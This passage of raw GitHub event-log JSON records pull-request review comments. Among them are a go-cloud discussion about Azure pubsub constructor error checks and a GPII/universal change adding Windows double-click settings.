ge":"http://www.certificate-transparency.org/","size":8295,"stargazers_count":0,"watchers_count":0,"language":"Go","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"google:master","ref":"master","sha":"d3ef309b231be8e57c7992b02e82f0d1af57b081","user":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"repo":{"id":90636971,"node_id":"MDEwOlJlcG9zaXRvcnk5MDYzNjk3MQ==","name":"certificate-transparency-go","full_name":"google/certificate-transparency-go","private":false,"owner":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/google/certificate-transparency-go","description":"Auditing for TLS certificates, Go code. ","fork":false,"url":"https://api.github.com/repos/google/certificate-transparency-go","forks_url":"https://api.github.com/repos/google/certificate-transparency-go/forks","keys_url":"https://api.github.com/repos/google/certificate-transparency-go/keys{/key_id}","collaborators_url":"https://api.github.com/repos/google/certificate-transparency-go/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/google/certificate-transparency-go/teams","hooks_url":"https://api.github.com/repos/google/certificate-transparency-go/hooks","issue_events_url":"https://api.github.com/repos/google/certificate-transparency-go/issues/events{/number}","events_url":"https://api.github.com/repos/google/certificate-transparency-go/events","assignees_url":"https://api.github.com/repos/google/certificate-transparency-go/assignees{/user}","branches_url":"https://api.github.com/repos/google/certificate-transparency-go/branches{/branch}","tags_url":"https://api.github.com/repos/google/certificate-transparency-go/tags","blobs_url":"https://api.github.com/repos/google/certificate-transparency-go/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/google/certificate-transparency-go/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/google/certificate-transparency-go/git/refs{/sha}","trees_url":"https://api.github.com/repos/google/certificate-transparency-go/git/trees{/sha}","statuses_url":"https://api.github.com/repos/google/certificate-transparency-go/statuses/{sha}","languages_url":"https://api.github.com/repos/google/certificate-transparency-go/languages","stargazers_url":"https://api.github.com/repos/google/certificate-transparency-go/stargazers","contributors_url":"https://api.github.com/repos/google/certificate-transparency-go/contributors","subscribers_url":"https://api.github.com/repos/google/certificate-transparency-go/subscribers","subscription_url":"https://api.github.com/repos/google/certificate-transparency-go/subscription","commits_url":"https://api.github.com/repos/google/certificate-transparency-go/commits{/sha}","git_commits_url":"https://api.github.com/repos/google/certificate-transparency-go/git/commits{/sha}","comments_url":"https://api.github.com/repos/google/certificate-transparency-go/comments{/number}","issue_comment_url":"https://api.github.com/repos/google/certificate-transparency-go/issues/comments{/number}","contents_url":"https://api.github.com/repos/google/certificate-transparency-go/contents/{+path}","compare_url":"https://api.github.com/repos/google/certificate-transparency-go/compare/{base}...{head}","merges_url":"https://api.github.com/repos/google/certificate-transparency-go/merges","archive_url":"https://api.github.com/repos/google/certificate-transparency-go/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/google/certificate-transparency-go/downloads","issues_url":"https://api.github.com/repos/google/certificate-transparency-go/issues{/number}","pulls_url":"https://api.github.com/repos/google/certificate-transparency-go/pulls{/number}","milestones_url":"https://api.github.com/repos/google/certificate-transparency-go/milestones{/number}","notifications_url":"https://api.github.com/repos/google/certificate-transparency-go/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/google/certificate-transparency-go/labels{/name}","releases_url":"https://api.github.com/repos/google/certificate-transparency-go/releases{/id}","deployments_url":"https://api.github.com/repos/google/certificate-transparency-go/deployments","created_at":"2017-05-08T14:22:46Z","updated_at":"2019-02-05T10:04:28Z","pushed_at":"2019-02-06T14:05:33Z","git_url":"git://github.com/google/certificate-transparency-go.git","ssh_url":"git@github.com:google/certificate-transparency-go.git","clone_url":"https://github.com/google/certificate-transparency-go.git","svn_url":"https://github.com/google/certificate-transparency-go","homepage":"http://www.certificate-transparency.org/","size":8258,"stargazers_count":131,"watchers_count":131,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":63,"mirror_url":null,"archived":false,"open_issues_count":18,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":63,"open_issues":18,"watchers":131,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443"},"html":{"href":"https://github.com/google/certificate-transparency-go/pull/443"},"issue":{"href":"https://api.github.com/repos/google/certificate-transparency-go/issues/443"},"comments":{"href":"https://api.github.com/repos/google/certificate-transparency-go/issues/443/comments"},"review_comments":{"href":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443/comments"},"review_comment":{"href":"https://api.github.com/repos/google/certificate-transparency-go/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/google/certificate-transparency-go/pulls/443/commits"},"statuses":{"href":"https://api.github.com/repos/google/certificate-transparency-go/statuses/921d0ebe8bb27f45062b97b2805fe1a8be67274e"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 90636971,
"name": "google/certificate-transparency-go",
"url": "https://api.github.com/repos/google/certificate-transparency-go"
}
|
{
"id": 1949076,
"login": "RJPercival",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1949076?",
"url": "https://api.github.com/users/RJPercival"
}
|
{
"id": 1342004,
"login": "google",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1342004?",
"url": "https://api.github.com/orgs/google"
}
| 2019-02-06T15:31:53 |
9019033360
|
{"actor":{"display_login":"RJPercival"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/google/go-cloud/pulls/comments/266962340","pull_request_review_id":216250760,"id":266962340,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2Njk2MjM0MA==","diff_hunk":"@@ -301,47 +307,38 @@ type SubscriptionOptions struct {\n }\n \n // OpenSubscription initializes a pubsub Subscription on a given Service Bus Subscription and its parent Service Bus Topic.\n-func OpenSubscription(ctx context.Context, parentNamespace *servicebus.Namespace, parentTopic *servicebus.Topic, sbSubscription *servicebus.Subscription, opts *SubscriptionOptions) *pubsub.Subscription {\n-\tds := openSubscription(ctx, parentNamespace, parentTopic, sbSubscription, opts)\n-\treturn pubsub.NewSubscription(ds, nil)\n+func OpenSubscription(ctx context.Context, parentNamespace *servicebus.Namespace, parentTopic *servicebus.Topic, sbSubscription *servicebus.Subscription, opts *SubscriptionOptions) (*pubsub.Subscription, error) {\n+\tds, err := openSubscription(ctx, parentNamespace, parentTopic, sbSubscription, opts)\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\treturn pubsub.NewSubscription(ds, nil), nil\n }\n \n // openSubscription returns a driver.Subscription.\n-func openSubscription(ctx context.Context, sbNs *servicebus.Namespace, sbTop *servicebus.Topic, sbSub *servicebus.Subscription, opts *SubscriptionOptions) driver.Subscription {\n-\ttopicName := \"\"\n-\n-\tif sbTop != nil {\n-\t\ttopicName = sbTop.Name\n+func openSubscription(ctx context.Context, sbNs *servicebus.Namespace, sbTop *servicebus.Topic, sbSub *servicebus.Subscription, opts *SubscriptionOptions) (driver.Subscription, error) {\n+\tif sbNs == nil {","path":"pubsub/azurepubsub/azurepubsub.go","position":85,"original_position":85,"commit_id":"7adade35cff8c346193688290cfd9a2ee50426cb","original_commit_id":"7adade35cff8c346193688290cfd9a2ee50426cb","user":{"login":"vangent","id":22553934,"node_id":"MDQ6VXNlcjIyNTUzOTM0","avatar_url":"https://avatars3.githubusercontent.com/u/22553934?v=4","gravatar_id":"","url":"https://api.github.com/users/vangent","html_url":"https://github.com/vangent","followers_url":"https://api.github.com/users/vangent/followers","following_url":"https://api.github.com/users/vangent/following{/other_user}","gists_url":"https://api.github.com/users/vangent/gists{/gist_id}","starred_url":"https://api.github.com/users/vangent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vangent/subscriptions","organizations_url":"https://api.github.com/users/vangent/orgs","repos_url":"https://api.github.com/users/vangent/repos","events_url":"https://api.github.com/users/vangent/events{/privacy}","received_events_url":"https://api.github.com/users/vangent/received_events","type":"User","site_admin":false},"body":"Mostly because using the `URLOpener` makes it easier to accidentally omit arguments (e.g., by using `URLOpener`) and I think a more specific error message will make it easier to figure out when went wrong.","created_at":"2019-03-19T15:52:17Z","updated_at":"2019-03-19T15:52:17Z","html_url":"https://github.com/google/go-cloud/pull/1599#discussion_r266962340","pull_request_url":"https://api.github.com/repos/google/go-cloud/pulls/1599","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/google/go-cloud/pulls/comments/266962340"},"html":{"href":"https://github.com/google/go-cloud/pull/1599#discussion_r266962340"},"pull_request":{"href":"https://api.github.com/repos/google/go-cloud/pulls/1599"}},"in_reply_to_id":266926129},"pull_request":{"url":"https://api.github.com/repos/google/go-cloud/pulls/1599","id":262255082,"node_id":"MDExOlB1bGxSZXF1ZXN0MjYyMjU1MDgy","html_url":"https://github.com/google/go-cloud/pull/1599","diff_url":"https://github.com/google/go-cloud/pull/1599.diff","patch_url":"https://github.com/google/go-cloud/pull/1599.patch","issue_url":"https://api.github.com/repos/google/go-cloud/issues/1599","number":1599,"state":"open","locked":false,"title":"pubsub/azurepubsub: do more sanity checks in constructors; only do subscription-existence check once","user":{"login":"vangent","id":22553934,"node_id":"MDQ6VXNlcjIyNTUzOTM0","avatar_url":"https://avatars3.githubusercontent.com/u/22553934?v=4","gravatar_id":"","url":"https://api.github.com/users/vangent","html_url":"https://github.com/vangent","followers_url":"https://api.github.com/users/vangent/followers","following_url":"https://api.github.com/users/vangent/following{/other_user}","gists_url":"https://api.github.com/users/vangent/gists{/gist_id}","starred_url":"https://api.github.com/users/vangent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vangent/subscriptions","organizations_url":"https://api.github.com/users/vangent/orgs","repos_url":"https://api.github.com/users/vangent/repos","events_url":"https://api.github.com/users/vangent/events{/privacy}","received_events_url":"https://api.github.com/users/vangent/received_events","type":"User","site_admin":false},"body":"The main change here is to only check for existence of the Subscription once, instead of once per `ReceiveBatch`. I also moved some other verification (e.g., that parameters are not `nil`) into the constructors.\r\n\r\nI also add the benchmark harness so you can run:\r\n\r\n```\r\n$ go test -v -bench . ./... --run Benchmark\r\n```\r\n\r\nFinally, I tried to run the conformance tests in `servicebus.SubscriptionWithReceiveAndDelete` mode, but they do not pass. It looks like the semantics are not what we expect -- that options seems to delete the message even if there are multiple subscribers. I commented out the new test for now, and will open a separate issue to discuss.\r\n\r\nFixes #1569.","created_at":"2019-03-18T22:55:05Z","updated_at":"2019-03-19T15:52:17Z","closed_at":null,"merged_at":null,"merge_commit_sha":"7d3cae17487ba3877ca70d64d642a622bc0a6d6c","assignee":{"login":"jba","id":18483045,"node_id":"MDQ6VXNlcjE4NDgzMDQ1","avatar_url":"https://avatars1.githubusercontent.com/u/18483045?v=4","gravatar_id":"","url":"https://api.github.com/users/jba","html_url":"https://github.com/jba","followers_url":"https://api.github.com/users/jba/followers","following_url":"https://api.github.com/users/jba/following{/other_user}","gists_url":"https://api.github.com/users/jba/gists{/gist_id}","starred_url":"https://api.github.com/users/jba/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jba/subscriptions","organizations_url":"https://api.github.com/users/jba/orgs","repos_url":"https://api.github.com/users/jba/repos","events_url":"https://api.github.com/users/jba/events{/privacy}","received_events_url":"https://api.github.com/users/jba/received_events","type":"User","site_admin":false},"assignees":[{"login":"vsaroopchand","id":13750198,"node_id":"MDQ6VXNlcjEzNzUwMTk4","avatar_url":"https://avatars1.githubusercontent.com/u/13750198?v=4","gravatar_id":"","url":"https://api.github.com/users/vsaroopchand","html_url":"https://github.com/vsaroopchand","followers_url":"https://api.github.com/users/vsaroopchand/followers","following_url":"https://api.github.com/users/vsaroopchand/following{/other_user}","gists_url":"https://api.github.com/users/vsaroopchand/gists{/gist_id}","starred_url":"https://api.github.com/users/vsaroopchand/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vsaroopchand/subscriptions","organizations_url":"https://api.github.com/users/vsaroopchand/orgs","repos_url":"https://api.github.com/users/vsaroopchand/repos","events_url":"https://api.github.com/users/vsaroopchand/events{/privacy}","received_events_url":"https://api.github.com/users/vsaroopchand/received_events","type":"User","site_admin":false},{"login":"jba","id":18483045,"node_id":"MDQ6VXNlcjE4NDgzMDQ1","avatar_url":"https://avatars1.githubusercontent.com/u/18483045?v=4","gravatar_id":"","url":"https://api.github.com/users/jba","html_url":"https://github.com/jba","followers_url":"https://api.github.com/users/jba/followers","following_url":"https://api.github.com/users/jba/following{/other_user}","gists_url":"https://api.github.com/users/jba/gists{/gist_id}","starred_url":"https://api.github.com/users/jba/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jba/subscriptions","organizations_url":"https://api.github.com/users/jba/orgs","repos_url":"https://api.github.com/users/jba/repos","events_url":"https://api.github.com/users/jba/events{/privacy}","received_events_url":"https://api.github.com/users/jba/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1016532751,"node_id":"MDU6TGFiZWwxMDE2NTMyNzUx","url":"https://api.github.com/repos/google/go-cloud/labels/cla:%20yes","name":"cla: yes","color":"0e8a16","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/google/go-cloud/pulls/1599/commits","review_comments_url":"https://api.github.com/repos/google/go-cloud/pulls/1599/comments","review_comment_url":"https://api.github.com/repos/google/go-cloud/pulls/comments{/number}","comments_url":"https://api.github.com/repos/google/go-cloud/issues/1599/comments","statuses_url":"https://api.github.com/repos/google/go-cloud/statuses/7adade35cff8c346193688290cfd9a2ee50426cb","head":{"label":"vangent:azurepubsub","ref":"azurepubsub","sha":"7adade35cff8c346193688290cfd9a2ee50426cb","user":{"login":"vangent","id":22553934,"node_id":"MDQ6VXNlcjIyNTUzOTM0","avatar_url":"https://avatars3.githubusercontent.com/u/22553934?v=4","gravatar_id":"","url":"https://api.github.com/users/vangent","html_url":"https://github.com/vangent","followers_url":"https://api.github.com/users/vangent/followers","following_url":"https://api.github.com/users/vangent/following{/other_user}","gists_url":"https://api.github.com/users/vangent/gists{/gist_id}","starred_url":"https://api.github.com/users/vangent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vangent/subscriptions","organizations_url":"https://api.github.com/users/vangent/orgs","repos_url":"https://api.github.com/users/vangent/repos","events_url":"https://api.github.com/users/vangent/events{/privacy}","received_events_url":"https://api.github.com/users/vangent/received_events","type":"User","site_admin":false},"repo":{"id":143323945,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMzMjM5NDU=","name":"go-cloud","full_name":"vangent/go-cloud","private":false,"owner":{"login":"vangent","id":22553934,"node_id":"MDQ6VXNlcjIyNTUzOTM0","avatar_url":"https://avatars3.githubusercontent.com/u/22553934?v=4","gravatar_id":"","url":"https://api.github.com/users/vangent","html_url":"https://github.com/vangent","followers_url":"https://api.github.com/users/vangent/followers","following_url":"https://api.github.com/users/vangent/following{/other_user}","gists_url":"https://api.github.com/users/vangent/gists{/gist_id}","starred_url":"https://api.github.com/users/vangent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vangent/subscriptions","organizations_url":"https://api.github.com/users/vangent/orgs","repos_url":"https://api.github.com/users/vangent/repos","events_url":"https://api.github.com/users/vangent/events{/privacy}","received_events_url":"https://api.github.com/users/vangent/received_events","type":"User","site_admin":false},"html_url":"https://github.com/vangent/go-cloud","description":"A library and tools for open cloud development in Go.","fork":true,"url":"https://api.github.com/repos/vangent/go-cloud","forks_url":"https://api.github.com/repos/vangent/go-cloud/forks","keys_url":"https://api.github.com/repos/vangent/go-cloud/keys{/key_id}","collaborators_url":"https://api.github.com/repos/vangent/go-cloud/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/vangent/go-cloud/teams","hooks_url":"https://api.github.com/repos/vangent/go-cloud/hooks","issue_events_url":"https://api.github.com/repos/vangent/go-cloud/issues/events{/number}","events_url":"https://api.github.com/repos/vangent/go-cloud/events","assignees_url":"https://api.github.com/repos/vangent/go-cloud/assignees{/user}","branches_url":"https://api.github.com/repos/vangent/go-cloud/branches{/branch}","tags_url":"https://api.github.com/repos/vangent/go-cloud/tags","blobs_url":"https://api.github.com/repos/vangent/go-cloud/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/vangent/go-cloud/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/vangent/go-cloud/git/refs{/sha}","trees_url":"https://api.github.com/repos/vangent/go-cloud/git/trees{/sha}","statuses_url":"https://api.github.com/repos/vangent/go-cloud/statuses/{sha}","languages_url":"https://api.github.com/repos/vangent/go-cloud/languages","stargazers_url":"https://api.github.com/repos/vangent/go-cloud/stargazers","contributors_url":"https://api.github.com/repos/vangent/go-cloud/contributors","subscribers_url":"https://api.github.com/repos/vangent/go-cloud/subscribers","subscription_url":"https://api.github.com/repos/vangent/go-cloud/subscription","commits_url":"https://api.github.com/repos/vangent/go-cloud/commits{/sha}","git_commits_url":"https://api.github.com/repos/vangent/go-cloud/git/commits{/sha}","comments_url":"https://api.github.com/repos/vangent/go-cloud/comments{/number}","issue_comment_url":"https://api.github.com/repos/vangent/go-cloud/issues/comments{/number}","contents_url":"https://api.github.com/repos/vangent/go-cloud/contents/{+path}","compare_url":"https://api.github.com/repos/vangent/go-cloud/compare/{base}...{head}","merges_url":"https://api.github.com/repos/vangent/go-cloud/merges","archive_url":"https://api.github.com/repos/vangent/go-cloud/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/vangent/go-cloud/downloads","issues_url":"https://api.github.com/repos/vangent/go-cloud/issues{/number}","pulls_url":"https://api.github.com/repos/vangent/go-cloud/pulls{/number}","milestones_url":"https://api.github.com/repos/vangent/go-cloud/milestones{/number}","notifications_url":"https://api.github.com/repos/vangent/go-cloud/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/vangent/go-cloud/labels{/name}","releases_url":"https://api.github.com/repos/vangent/go-cloud/releases{/id}","deployments_url":"https://api.github.com/repos/vangent/go-cloud/deployments","created_at":"2018-08-02T17:11:06Z","updated_at":"2019-03-14T17:09:59Z","pushed_at":"2019-03-19T15:50:00Z","git_url":"git://github.com/vangent/go-cloud.git","ssh_url":"git@github.com:vangent/go-cloud.git","clone_url":"https://github.com/vangent/go-cloud.git","svn_url":"https://github.com/vangent/go-cloud","homepage":"https://godoc.org/github.com/google/go-cloud","size":22156,"stargazers_count":0,"watchers_count":0,"language":"Go","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"google:master","ref":"master","sha":"03ebd9ae89875f67b2900808fe93ce002e705a2f","user":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"repo":{"id":126250425,"node_id":"MDEwOlJlcG9zaXRvcnkxMjYyNTA0MjU=","name":"go-cloud","full_name":"google/go-cloud","private":false,"owner":{"login":"google","id":1342004,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzNDIwMDQ=","avatar_url":"https://avatars1.githubusercontent.com/u/1342004?v=4","gravatar_id":"","url":"https://api.github.com/users/google","html_url":"https://github.com/google","followers_url":"https://api.github.com/users/google/followers","following_url":"https://api.github.com/users/google/following{/other_user}","gists_url":"https://api.github.com/users/google/gists{/gist_id}","starred_url":"https://api.github.com/users/google/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/google/subscriptions","organizations_url":"https://api.github.com/users/google/orgs","repos_url":"https://api.github.com/users/google/repos","events_url":"https://api.github.com/users/google/events{/privacy}","received_events_url":"https://api.github.com/users/google/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/google/go-cloud","description":"The Go Cloud Development Kit (Go CDK): A library and tools for open cloud development in Go.","fork":false,"url":"https://api.github.com/repos/google/go-cloud","forks_url":"https://api.github.com/repos/google/go-cloud/forks","keys_url":"https://api.github.com/repos/google/go-cloud/keys{/key_id}","collaborators_url":"https://api.github.com/repos/google/go-cloud/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/google/go-cloud/teams","hooks_url":"https://api.github.com/repos/google/go-cloud/hooks","issue_events_url":"https://api.github.com/repos/google/go-cloud/issues/events{/number}","events_url":"https://api.github.com/repos/google/go-cloud/events","assignees_url":"https://api.github.com/repos/google/go-cloud/assignees{/user}","branches_url":"https://api.github.com/repos/google/go-cloud/branches{/branch}","tags_url":"https://api.github.com/repos/google/go-cloud/tags","blobs_url":"https://api.github.com/repos/google/go-cloud/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/google/go-cloud/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/google/go-cloud/git/refs{/sha}","trees_url":"https://api.github.com/repos/google/go-cloud/git/trees{/sha}","statuses_url":"https://api.github.com/repos/google/go-cloud/statuses/{sha}","languages_url":"https://api.github.com/repos/google/go-cloud/languages","stargazers_url":"https://api.github.com/repos/google/go-cloud/stargazers","contributors_url":"https://api.github.com/repos/google/go-cloud/contributors","subscribers_url":"https://api.github.com/repos/google/go-cloud/subscribers","subscription_url":"https://api.github.com/repos/google/go-cloud/subscription","commits_url":"https://api.github.com/repos/google/go-cloud/commits{/sha}","git_commits_url":"https://api.github.com/repos/google/go-cloud/git/commits{/sha}","comments_url":"https://api.github.com/repos/google/go-cloud/comments{/number}","issue_comment_url":"https://api.github.com/repos/google/go-cloud/issues/comments{/number}","contents_url":"https://api.github.com/repos/google/go-cloud/contents/{+path}","compare_url":"https://api.github.com/repos/google/go-cloud/compare/{base}...{head}","merges_url":"https://api.github.com/repos/google/go-cloud/merges","archive_url":"https://api.github.com/repos/google/go-cloud/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/google/go-cloud/downloads","issues_url":"https://api.github.com/repos/google/go-cloud/issues{/number}","pulls_url":"https://api.github.com/repos/google/go-cloud/pulls{/number}","milestones_url":"https://api.github.com/repos/google/go-cloud/milestones{/number}","notifications_url":"https://api.github.com/repos/google/go-cloud/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/google/go-cloud/labels{/name}","releases_url":"https://api.github.com/repos/google/go-cloud/releases{/id}","deployments_url":"https://api.github.com/repos/google/go-cloud/deployments","created_at":"2018-03-21T22:57:26Z","updated_at":"2019-03-19T14:30:15Z","pushed_at":"2019-03-19T15:50:01Z","git_url":"git://github.com/google/go-cloud.git","ssh_url":"git@github.com:google/go-cloud.git","clone_url":"https://github.com/google/go-cloud.git","svn_url":"https://github.com/google/go-cloud","homepage":"https://gocloud.dev/","size":22238,"stargazers_count":5674,"watchers_count":5674,"language":"Go","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":347,"mirror_url":null,"archived":false,"open_issues_count":120,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":347,"open_issues":120,"watchers":5674,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/google/go-cloud/pulls/1599"},"html":{"href":"https://github.com/google/go-cloud/pull/1599"},"issue":{"href":"https://api.github.com/repos/google/go-cloud/issues/1599"},"comments":{"href":"https://api.github.com/repos/google/go-cloud/issues/1599/comments"},"review_comments":{"href":"https://api.github.com/repos/google/go-cloud/pulls/1599/comments"},"review_comment":{"href":"https://api.github.com/repos/google/go-cloud/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/google/go-cloud/pulls/1599/commits"},"statuses":{"href":"https://api.github.com/repos/google/go-cloud/statuses/7adade35cff8c346193688290cfd9a2ee50426cb"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 126250425,
"name": "google/go-cloud",
"url": "https://api.github.com/repos/google/go-cloud"
}
|
{
"id": 22553934,
"login": "vangent",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/22553934?",
"url": "https://api.github.com/users/vangent"
}
|
{
"id": 1342004,
"login": "google",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1342004?",
"url": "https://api.github.com/orgs/google"
}
| 2019-03-19T15:52:17 |
9272687289
|
{"actor":{"display_login":"vangent"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/GPII/universal/pulls/comments/257239659","pull_request_review_id":204246287,"id":257239659,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1NzIzOTY1OQ==","diff_hunk":"@@ -7556,6 +7563,70 @@\n \"inverseCapabilitiesTransformations\": {\n \"http://registry\\\\.gpii\\\\.net/applications/com\\\\.microsoft\\\\.windows\\\\.mouseSettings.MouseSonar\": \"MouseSonarConfig.value\"\n }\n+ },\n+ \"configureDoubleClickWidth\": {\n+ \"type\": \"gpii.windows.nativeSettingsHandler\",\n+ \"liveness\": \"live\",\n+ \"options\": {\n+ \"functionName\": \"DoubleClickWidth\"\n+ },\n+ \"supportedSettings\": {\n+ \"DoubleClickWidthConfig\": {\n+ \"schema\": {\n+ \"title\": \"Double-click rectangle width\",\n+ \"description\": \"Changes the width of the rectangle in which a second click should fall for OS to consider the mouse action a double-click.\",","path":"testData/solutions/win32.json5","position":42,"original_position":42,"commit_id":"0797a37a9c74afaf1c75aaeb6e7adb0519a5999b","original_commit_id":"69b2dff88d98bc33c9fad6f99686c1e4c65bd138","user":{"login":"JavierJF","id":2714593,"node_id":"MDQ6VXNlcjI3MTQ1OTM=","avatar_url":"https://avatars1.githubusercontent.com/u/2714593?v=4","gravatar_id":"","url":"https://api.github.com/users/JavierJF","html_url":"https://github.com/JavierJF","followers_url":"https://api.github.com/users/JavierJF/followers","following_url":"https://api.github.com/users/JavierJF/following{/other_user}","gists_url":"https://api.github.com/users/JavierJF/gists{/gist_id}","starred_url":"https://api.github.com/users/JavierJF/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JavierJF/subscriptions","organizations_url":"https://api.github.com/users/JavierJF/orgs","repos_url":"https://api.github.com/users/JavierJF/repos","events_url":"https://api.github.com/users/JavierJF/events{/privacy}","received_events_url":"https://api.github.com/users/JavierJF/received_events","type":"User","site_admin":false},"body":"Forgot about this one, doing it.","created_at":"2019-02-15T13:50:06Z","updated_at":"2019-02-15T13:50:06Z","html_url":"https://github.com/GPII/universal/pull/741#discussion_r257239659","pull_request_url":"https://api.github.com/repos/GPII/universal/pulls/741","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/GPII/universal/pulls/comments/257239659"},"html":{"href":"https://github.com/GPII/universal/pull/741#discussion_r257239659"},"pull_request":{"href":"https://api.github.com/repos/GPII/universal/pulls/741"}},"in_reply_to_id":257210225},"pull_request":{"url":"https://api.github.com/repos/GPII/universal/pulls/741","id":253192861,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUzMTkyODYx","html_url":"https://github.com/GPII/universal/pull/741","diff_url":"https://github.com/GPII/universal/pull/741.diff","patch_url":"https://github.com/GPII/universal/pull/741.patch","issue_url":"https://api.github.com/repos/GPII/universal/issues/741","number":741,"state":"open","locked":false,"title":"GPII-3722: Provide support for Mouse Qs 